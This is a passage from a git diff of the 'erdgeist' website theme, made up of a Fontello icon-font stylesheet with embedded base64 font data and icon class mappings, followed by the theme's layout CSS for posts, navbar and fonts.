m1uPRBG0ogalhCUAsqxYQJRpAxJlbF+QrniI9T8XThcfhSf8HOveZls5Frqpuer2rNLt6r7VfWqffloViqeL/VsJ72fdv7B4hTz7tVW3+z1Y6tD2vbdX007rzdx9QBcwd93eOczn5Y5HTZWxijxOVzBda7eNoBt5LDYTDLvJYsOp8IJDF1LlzOMnfnzw+7PhyNxU395QOBCJbBq3s6ls29Bvn+Kmh79Q3lhW+0rkGDqx7bmzjTp5DL0fqhC+dWqAaKRt7EBmZwOVfeQwPOyP15P8xzxYJbNMkLGYIvKgJ92OzRt5gMchXfO4UC4hABPieFyxBU+OTMAejudEh1MFno0n0zZyIwusgaehXfPW4q1Fa37XyB1g77i/UqRHGoquDPVICvxDGnPvuu+4d8ckaQx8YINvTILqmc3VwcOLi4cHq5vPzCwswDbc2tjil0lI7BlSbobDzy4tPRu21fkl8uKcyvwXsMMW5nicY2BkYGAA4tdfy2/H89t8ZeBmfgEUYbgoYSYJoblf/f//P5P5FbMYkMvBwAQSBQCB3w1WAAAAeJxjYGRgYA76n8UQxfyCgeH/P+ZXDEARFCAIAJFpBgF4nGN+wcDAHAnEC4AYxBaEshcgib2AsgWR2Eh6AHiTCtgAAAAAAAAAAEYAggDyATIBngIAAmAC1AM+A4wD5gQoBH4ExAUQBWoAAQAAABEATQAEAAAAAAACAAAAEABzAAAAHgtwAAAAAHicdZHLSsNAGIXPaL0WVBTc+q9EEdMLuCkIQsVudFOkW4npNElJM2VmKvQ1fAcfxpfwWTxNpyIVEybznfNf8mcC4BhfUFheN1xLVtilWvIGdnAbeJP+feAa+THwFup4DrxN/yXwPq6QBq7jBO/soGp7VGN8BFY4UoeBN3CgzgJv0r8OXCPfBt7CqXoKvE0/CbyPgXKB6zhXn10znds8zbxcdC+l3WzdyOtcDK28jAuJZz4z1smdjEzpdVGYKDETbYepzp3v63RWxHYlV/tAW5ebUlpRc2X1dKlt7PVw0d29pW3vRzKyZiIPoa9MrRnrxEeZ99NOo/H7fejCYIo5LHIeVQYPwQXdS+5tNNHijxC8MkOYuczKUSJGQSfGjBVZFXHUd1wjqpKuZkZBjpDwOaG2GLJas94x3ielrC/Yxf6JrutB5TiqRXfhXBGnW8/qkcrKjasew5/ZHd6Y16brOeFiSltNJXhYm1d4HovYmE5CP6pOxdPtoMH7n+/7Bm6sg+0AAAB4nG3GzRKCIBQGUD5BLOzPB+mhGLoGI4jBZRrfvoXbzuqIThyM+G8SAh0kFHpoDDjhDIMRF1xxwx0PTH1qNThdyRbnVbIhqlapGE/2tfm8Uh0/LTM9S3h7Nscjzawi2VkutOuS3UIsS62DyynRysrnRHqj1YU48DcwU5G0kxA/C/Qn6AB4nGPw3sFwIihiIyNjX+QGxp0cDBwMyQUbGVidNjIwaEFoDhR6JwMDAycyi5nBZaMKY0dgxAaHjoiNzCkuG9VAvF0cDQyMLA4dySERICWRQLCRgUdrB+P/1g0svRuZGFwAB9MiuAAAAA==') format('woff'),
12 url('data:application/octet-stream;base64,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') format('truetype');
13}
14/* Chrome hack: SVG is rendered more smooth in Windozze. 100% magic, uncomment if you need it. */
15/* Note, that will break hinting! In other OS-es font will be not as sharp as it could be */
16/*
17@media screen and (-webkit-min-device-pixel-ratio:0) {
18 @font-face {
19 font-family: 'erdgeist';
20 src: url('../font/erdgeist.svg?73063744#erdgeist') format('svg');
21 }
22}
23*/
24
25 [class^="icon-"]:before, [class*=" icon-"]:before {
26 font-family: "erdgeist";
27 font-style: normal;
28 font-weight: normal;
29 speak: none;
30
31 display: inline-block;
32 text-decoration: inherit;
33 width: 1em;
34 margin-right: .2em;
35 text-align: center;
36 /* opacity: .8; */
37
38 /* For safety - reset parent styles, that can break glyph codes*/
39 font-variant: normal;
40 text-transform: none;
41
42 /* fix buttons height, for twitter bootstrap */
43 line-height: 1em;
44
45 /* Animation center compensation - margins should be symmetric */
46 /* remove if not needed */
47 margin-left: .2em;
48
49 /* you can be more comfortable with increased icons size */
50 /* font-size: 120%; */
51
52 /* Uncomment for 3D effect */
53 /* text-shadow: 1px 1px 1px rgba(127, 127, 127, 0.3); */
54}
55.icon-music:before { content: '\e800'; } /* '' */
56.icon-search:before { content: '\e801'; } /* '' */
57.icon-mail:before { content: '\e802'; } /* '' */
58.icon-user:before { content: '\e803'; } /* '' */
59.icon-headphones:before { content: '\e805'; } /* '' */
60.icon-quote-right:before { content: '\e806'; } /* '' */
61.icon-quote-left:before { content: '\e807'; } /* '' */
62.icon-leaf:before { content: '\e808'; } /* '' */
63.icon-key:before { content: '\e809'; } /* '' */
64.icon-rocket:before { content: '\e80a'; } /* '' */
65.icon-rss:before { content: '\e80b'; } /* '' */
66.icon-comment:before { content: '\e80c'; } /* '' */
67.icon-home:before { content: '\e80d'; } /* '' */
68.icon-pencil:before { content: '\e80e'; } /* '' */
69.icon-twitter:before { content: '\e80f'; } /* '' */
70.icon-eye:before { content: '\e810'; } /* '' */ \ No newline at end of file
diff --git a/themes/erdgeist/assets/css/erdgeist.css b/themes/erdgeist/assets/css/erdgeist.css
new file mode 100644
index 0000000..f615cf9
--- /dev/null
+++ b/themes/erdgeist/assets/css/erdgeist.css
@@ -0,0 +1,293 @@
1body {
2 font-size: 1.8em;
3}
4
5@font-face {
6 font-family: 'Source Sans Pro';
7 font-style: normal;
8 font-weight: 300;
9 src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url(/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf) format('truetype');
10}
11@font-face {
12 font-family: 'Source Sans Pro';
13 font-style: normal;
14 font-weight: 400;
15 src: local('Source Sans Pro'), local('SourceSansPro-Regular'), url(/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf) format('truetype');
16}
17@font-face {
18 font-family: 'Source Sans Pro';
19 font-style: normal;
20 font-weight: 700;
21 src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url(/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf) format('truetype');
22}
23
24.post-body:not(.full)::after {
25 position: absolute;
26 bottom: 0;
27 height: 100%;
28 width: 100%;
29 content: "";
30 background: linear-gradient(to top,
31 rgba(255,255,255, 1) 10%,
32 rgba(255,255,255, 0) 90%
33 );
34 pointer-events: none; /* so the text is still selectable */
35}
36.post-list li {
37 margin-top: 0.2em;
38}
39
40.post-text {
41 max-width: 50em;
42}
43.post-body {
44 position: relative;
45 max-height: 6em;
46 transition: max-height 0.5s ease-in;
47 overflow: hidden;
48}
49.post-date {
50 float: right;
51 font-size: 0.7em;
52 padding-top: 0.3em;
53}
54.poetry-list .post-date {
55 float: left;
56 width: 6em;
57}
58.full {
59 transition: max-height 0.5s ease-in;
60 max-height: 10000em;
61}
62
63@media (min-width: 640px) {
64.multi-columns {
65 column-count: 2;
66 -webkit-column-count: 2;
67 -moz-column-count: 2;
68}
69}
70@media (min-width: 1024px) {
71.multi-columns {
72 column-count: 3;
73 -webkit-column-count: 3;
74 -moz-column-count: 3;
75
76}
77}
78
79.glyphicon {
80 margin-right: 0.2em;
81 font-size: 0.8em;
82}
83
84.navbar {
85 background-image: url('../img/dark_stripes.png');
86}
87
88.navbar a [class^="icon-"] {
89 transition: opacity 0.5s;
90 transition: text-shadow 0.5s;
91 font-size: 2em;
92 color: grey;
93 opacity: 0.6;
94}
95
96.navbar .active a [class^="icon-"] {
97 color: yellow;
98}
99
100.navbar a [class^="icon-"]:hover,
101.navbar a [class^="icon-"]:focus {
102 text-shadow: 0 0 10px rgba(255,255,255,0.8);
103 color: white;
104 opacity: 0.9;
105}
106
107@-webkit-keyframes pulsing {
108 0% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; }
109 50% { text-shadow: 0 0 10px rgba(255,255,255,0.8); opacity: 0.9; }
110 100% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; }
111}
112
113@keyframes pulsing {
114 0% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; }
115 50% { text-shadow: 0 0 10px rgba(255,255,255,0.8); opacity: 0.9; }
116 100% { text-shadow: 0 0 2px rgba(255,255,255,0.2); opacity: 0.6; }
117}
118
119.navbar a [class^="icon-"]:hover {
120 animation-name: pulsing;
121 animation-duration: 2s;
122 animation-iteration-count: infinite;
123 -webkit-animation-name: pulsing; /* Chrome, Safari, Opera */
124 -webkit-animation-duration: 2s; /* Chrome, Safari, Opera */
125 -webkit-animation-iteration-count: infinite;
126}
127
128.nav > li > a:hover, .nav > li > a:focus {
129 background-color: transparent !important;
130}
131
132.navbar-nav {
133 margin: 0;
134}
135
136@media (max-width: 553px) {
137.navbar {
138 height: 56px !important;
139 margin-left: auto;
140 margin-right: auto;
141}
142.navbar-collapse.collapse {
143 display: block!important;
144}
145
146.nav {
147 width: 100%;
148 text-align: center;
149 overflow: auto;
150}
151
152.nav > li {
153 display: inline-block;
154 width: 20%;
155 float: left;
156}
157
158.navbar-right {
159 float: right!important;
160}
161}
162
163@media (min-width: 554px) {
164.navbar-collapse {
165 height: auto;
166 border-top: 0;
167 box-shadow: none;
168 max-height: none;
169 padding-left:0;
170 padding-right:0;
171}
172
173.navbar-collapse.collapse {
174 display: block !important;
175 width: auto !important;
176 padding-bottom: 0;
177 overflow: visible !important;
178}
179
180.nav > li > a {
181 padding-left: 0;
182}
183
184.navbar-collapse.in {
185 overflow-x: visible;
186}
187
188.navbar
189{
190 max-width: 54px;
191 margin-right: 0;
192 margin-left: 0;
193 height: 100%;
194}
195
196body {
197 margin-top: 0px;
198}
199
200.navbar .container {
201 padding-left: 0;
202 max-width: 54px;
203}
204
205#content {
206 padding-left: 66px;
207}
208
209.navbar-nav > li > a {
210 padding-top: 14.5px;
211 padding-bottom: 14.5px;
212}
213
214.navbar-nav,
215.navbar-nav > li,
216.navbar-left,
217.navbar-right,
218.navbar-header
219{float:none !important;}
220
221.navbar-right .dropdown-menu {left:0;right:auto;}
222.navbar-collapse .navbar-nav.navbar-right:last-child {
223 margin-right: 0;
224}
225}
226
227.contents.topic {
228 margin: 0px;
229}
230
231.contents .topic-title {
232 display: none;
233 background-color: green;
234}
235
236.contents ul {
237 margin: 0px;
238 padding: 0px;
239}
240
241.contents li {
242 list-style: none;
243 display: inline-block;
244 margin-right: 1em;
245}
246
247.postindexpager {
248 width: 100%;
249 overflow: hidden;
250}
251
252.postindexpager .pager {
253 margin-bottom: 0px;
254}
255
256.docutils.literal {
257 font-size: 0.8em;
258 color: #000;
259}
260
261a {
262 color: #aa3;
263 text-decoration: none;
